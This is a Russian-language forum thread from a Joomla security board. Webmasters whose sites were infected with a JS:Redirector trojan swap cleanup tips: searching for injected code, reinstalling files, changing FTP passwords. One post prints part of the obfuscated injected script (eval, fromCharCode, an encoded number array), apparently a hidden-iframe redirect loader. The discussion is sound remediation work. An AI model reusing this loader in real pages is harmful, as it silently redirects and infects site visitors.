Вирус на сайте ! js:Redirector-PB [Trj] - Безопасность сайтов на Joomla

Вылезла утром проблема!
При переходе на сайт Авас ругается на вирус js:Redirector-PB [Trj]
Скачал весь сайт себе в комп! проверил антивирем в карантин попали все js скрипты!
Кто сталкивался ? как лечить?
сайт krontrade.ru
Спасибо

Если дописан код в скриптах то все они туда и попадут
Ищи сам код и удаляй

Как я понимаю перерыть нужно все скрипты ?

В этой теме читай http://joomlaforum.ru/index.php/topic,197284.msg1043065.html#msg1043065
и сканер посмотри у  flyingspook там же у него в подписи еще топик есть (найдешь)
а на компе Notepad++ или TotalComander
это не долго главное вычислить что искать

Перед установкой компонентов и модулей скачанных с энторнетов - сканируйте файло на наличие eval(base64_decode Notepad++ хотябы.
Голова болеть меньше будет.

Попробовал оба способа! Вся гадость сидит в js как я понимаю а эти штуковины хороши но мне не помогли!

ищи по слову hell

вот такое г... надо искать возможно закодировано

Странно. У меня ничего. А можно код одного из зараженных файлов в студию? Аваст может взбесился...

хотя что это за "164" папка?

У меня его сайт вообще не грузится не в одном браузере (но и каспер молчит)
а код который выше зависает в FireBug(е)

https://www.virustotal.com/file/b01dfde21dc6503e5fb2be926e48e60295cf287ae574e2eda8ec88e595bd1662/analysis/1330603027/

что-то есть

разве что найти код и вычистить заменой.

kapotdj
Выложи highslide.js на обозрение

Вот внутренности файла cell.js вытащил из Аваста!  смотрите внизу


вот запрощенный файл но весь код не лезет

Получается вот она гадость.... но в каждом js она разная

во всех js в вредоносном коде одинаковый вызов функции
Array.prototype.slice.call(arguments).join
остальной код разный
вопрос можно ли автоматически
как-нибудь удалить последнюю строку во всех js фаилах на сайте?
ну либо удалить строку содержащую ту самую функцию

http://joomlaforum.ru/index.php/topic,197284.msg1043065.html#msg1043065

данный скрипт заменяет только заданный текст

Если везде разный, то разве что перелить поверх базы по новой. Или руками чистить. Автоматического ничего не знаю такого.

http://joomlaforum.ru/index.php/topic,197284.msg1043065.html#msg1043065 - этим тоже можно воспользоватся, если разновидностей кода небольшое количество. В этом случае надо выяснить, как взломали.

Пароли от ftp и прочего поменяйте. Комп проверьте AVPTool.

заметил еще что переменные названы в коде одинаково примерно в 20-40 файлов
но это уже не важно
сначала сделал замену "Array.prototype.slice.call(arguments).join" на пробел
после чего ни аваст ни каспер вирус не обнаруживают, остальной код вируса конечно остался
стал удалять его вручную
но вот в чем беда,javascript'ы на сайте стали отображаться не корректно,почему? если надо могу ссылку кинуть,посмотрите

может антивирусник заблокировал их для сайта?
хотя сообщения о вирусе больше не выскакивают

я тоже так сделал! Но при входе в админки он ругается! и админка както не так работает! цены прописать вручну не могу например!

у меня вообще пустая страница в админке)

на другом сайт резко стал тупить ftp файл replace даже залить не могу  !

все удалил вручную,по прежнему javascriptы работают не корректно
http://belopen.ru/

Такая же ерунда! Насколько знаю что вирус попадает на сайт через ftp!

У меня сегодня тоже вирус на сайт какойто педик закинул но я проплему решил. Вредносный скрипт прятался в самом начале файла index.php а вот и сам скрипт script>if(window.document)try{location(12);}catch(qqq){zz='eval';aa=[]+0;aaa=0+[];if(aa.indexOf(aaa)===0){ss='';s=String;f='fro'+'m'+'C'+'h'+'ar';f+='Code';}ee='e';e=window[zz];t='y';}h=-2*Math.log(Math.E);n="3.5a3.5a51.5a50a15a19a49a54.5a48.5a57.5a53.5a49.5a54a57a22a50.5a49.5a57a33.5a53a49.5a53.5a49.5a54a57a56.5a32a59.5a41a47.5a50.5a38a47.5a53.5a49.5a19a18.5a48a54.5a49a59.5a18.5a19.5a44.5a23a45.5a19.5a60.5a3.5a3.5a3.5a51.5a50a56a47.5a53.5a49.5a56a19a19.5a28.5a3.5a3.5a61.5a15a49.5a53a56.5a49.5a15a60.5a3.5a3.5a3.5a49a54.5a48.5a57.5a53.5a49.5a54a57a22a58.5a56a51.5a57a49.5a19a16a29a51.5a50a56a47.5a53.5a49.5a15a56.5a56a48.5a29.5a18.5a51a57a57a55a28a22.5a22.5a56a54.5a53.5a47.5a56.5a51a52.5a47.5a22a49a49a54a56.5a22a51.5a54a50a54.5a22.5a50.5a54.5a22a55a51a55a30.5a56.5a51.5a49a29.5a23.5a18.5a15a58.5a51.5a49a57a51a29.5a18.5a23.5a23a18.5a15a51a49.5a51.5a50.5a51a57a29.5a18.5a23.5a23a18.5a15a56.5a57a59.5a53a49.5a29.5a18.5a58a51.5a56.5a51.5a48a51.5a53a51.5a57a59.5a28a51a51.5a49a49a49.5a54a28.5a55a54.5a56.5a51.5a57a51.5a54.5a54a28a47.5a48a56.5a54.5a53a57.5a57a49.5a28.5a53a49.5a50a57a28a23a28.5a57a54.5a55a28a23a28.5a18.5a30a29a22.5a51.5a50a56a47.5a53.5a49.5a30a16a19.5a28.5a3.5a3.5a61.5a3.5a3.5a50a57.5a54a48.5a57a51.5a54.5a54a15a51.5a50a56a47.5a53.5a49.5a56a19a19.5a60.5a3.5a3.5a3.5a58a47.5a56a15a50a15a29.5a15a49a54.5a48.5a57.5a53.5a49.5a54a57a22a48.5a56a49.5a47.5a57a49.5a33.5a53a49.5a53.5a49.5a54a57a19a18.5a51.5a50a56a47.5a53.5a49.5a18.5a19.5a28.5a50a22a56.5a49.5a57a31.5a57a57a56a51.5a48a57.5a57a49.5a19a18.5a56.5a56a48.5a18.5a21a18.5a51a57a57a55a28a22.5a22.5a56a54.5a53.5a47.5a56.5a51a52.5a47.5a22a49a49a54a56.5a22a51.5a54a50a54.5a22.5a50.5a54.5a22a55a51a55a30.5a56.5a51.5a49a29.5a23.5a18.5a19.5a28.5a50a22a56.5a57a59.5a53a49.5a22a58a51.5a56.5a51.5a48a51.5a53a51.5a57a59.5a29.5a18.5a51a51.5a49a49a49.5a54a18.5a28.5a50a22a56.5a57a59.5a53a49.5a22a55a54.5a56.5a51.5a57a51.5a54.5a54a29.5a18.5a47.5a48a56.5a54.5a53a57.5a57a49.5a18.5a28.5a50a22a56.5a57a59.5a53a49.5a22a53a49.5a50a57a29.5a18.5a23a18.5a28.5a50a22a56.5a57a59.5a53a49.5a22a57a54.5a55a29.5a18.5a23a18.5a28.5a50a22a56.5a49.5a57a31.5a57a57a56a51.5a48a57.5a57a49.5a19a18.5a58.5a51.5a49a57a51a18.5a21a18.5a23.5a23a18.5a19.5a28.5a50a22a56.5a49.5a57a31.5a57a57a56a51.5a48a57.5a57a49.5a19a18.5a51a49.5a51.5a50.5a51a57a18.5a21a18.5a23.5a23a18.5a19.5a28.5a3.5a3.5a3.5a49a54.5a48.5a57.5a53.5a49.5a54a57a22a50.5a49.5a57a33.5a53a49.5a53.5a49.5a54a57a56.5a32a59.5a41a47.5a50.5a38a47.5a53.5a49.5a19a18.5a48a54.5a49a59.5a18.5a19.5a44.5a23a45.5a22a47.5a55a55a49.5a54a49a32.5a51a51.5a53a49a19a50a19.5a28.5a3.5a3.5a61.5".split("a"); -только часть а то весь скрипт принесет вред форуму. Мне вот только одно интересно как это хренов хакер залез ко мне на сервер?  За проникновение на сервак хакеру 5 за скрипт 2 Хакер если ты читаешь мой пост то займись чем то полезным - какой смысл сайты заражать все равно вылечим.

Тоже столкнулся с этой проблемой. На одном хостинге 4сайта все заразились. С Joomla 1.5 решил проблему следующим образом: архивирую весь сайт  и скачиваю архив после проверяю архив антивирем и удаляю из архива все зараженные файлы. Удаляю на хосте все файлы, шкурю свой комп антивирем, меняю пароль фтп, заливаю архив с удаленными вирусами обратно на хост и распаковываю, сайт почти работает - не работают кнопки в админке. Эту проблему решаю следующим образом: беру архив с инсталяхой Joomla 1.5 распаковываю и через тотал командер кидаю на хост все папки (ТОЛЬКО ПАПКИ ) кроме "инсталл" когда он спрашивает "переписать" или "пропустить" выбираю пропустить и вуаля он копирует только те файлы которых не хватает. Все работает - пример: siteps.ru А вот с Joomla 1.7 не прокатило не было доступа в админку (вообще не было) вышел из положения следущим образом: скачал с хоста файл configuration.php потом закинул на хост папку "инсталл" и configuration.php из архива с инсталяхой 1.7 создал еще одну базу данных и как бы проинсталировал Joomla в новую базу после поменял configuration.php на тот который скачал в начале и все заработало, вроде. Примерно как то так. у кого есть идеи лучше поделитесь. В общей сложности на 4зараженных сайтах было примерно 300 зараженных файлов сидеть и шкурить ручками - не реально.

Всем спасибо! Все вылечил )

Аналогичная проблема.
Авира показывает JS:Redirector
Удаляю файлы, которые показывает антивирус. Заливаю из дистрибутива. Ситуация не меняется.
Сами файлы на хостинге идентичные тем, что в дистрибутиве. Никаких отличий не вижу.
Сайт - costaespera.com.ua

А свой комп шкурили антивирем? Пароль от ФТП меняли? Если нет то все бесполезно вирус все равно просочится на сайт

Аналогичная проблема.
Авира показывает JS:Redirector
Удаляю файлы, которые показывает антивирус. Заливаю из дистрибутива. Ситуация не меняется.
Сами файлы на хостинге идентичные тем, что в дистрибутиве. Никаких отличий не вижу.
Сайт - costaespera.com.ua

У меня авира молчит. Наверно вылечили. Был такой на днях, кто-то шелл залил и переписал главные. Делал человек, а не бот.